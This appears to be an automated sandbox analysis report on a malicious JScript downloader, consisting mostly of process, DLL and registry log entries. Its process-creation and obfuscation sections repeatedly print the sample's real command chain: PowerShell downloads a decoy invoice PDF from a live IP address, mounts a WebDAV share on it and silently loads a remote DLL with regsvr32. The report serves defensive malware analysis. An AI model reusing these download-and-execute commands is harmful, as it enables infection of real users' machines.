Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\400.js.csv");ITextStream.WriteLine(" entry:8728 f:bvcejphfu");ITextStream.WriteLine(" exec:2 f:bvcejphfu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4281			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5569			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6252	Thread sleep count: 4281 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6252	Thread sleep count: 5569 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4892	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5928	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5888	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2164848350.000001DE6DD69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6Q
Source: net.exe, 00000007.00000002.2164848350.000001DE6DD69000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2164848350.000001DE6DD07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3388019838.000002CB0D654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3385950386.000002CB08024000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
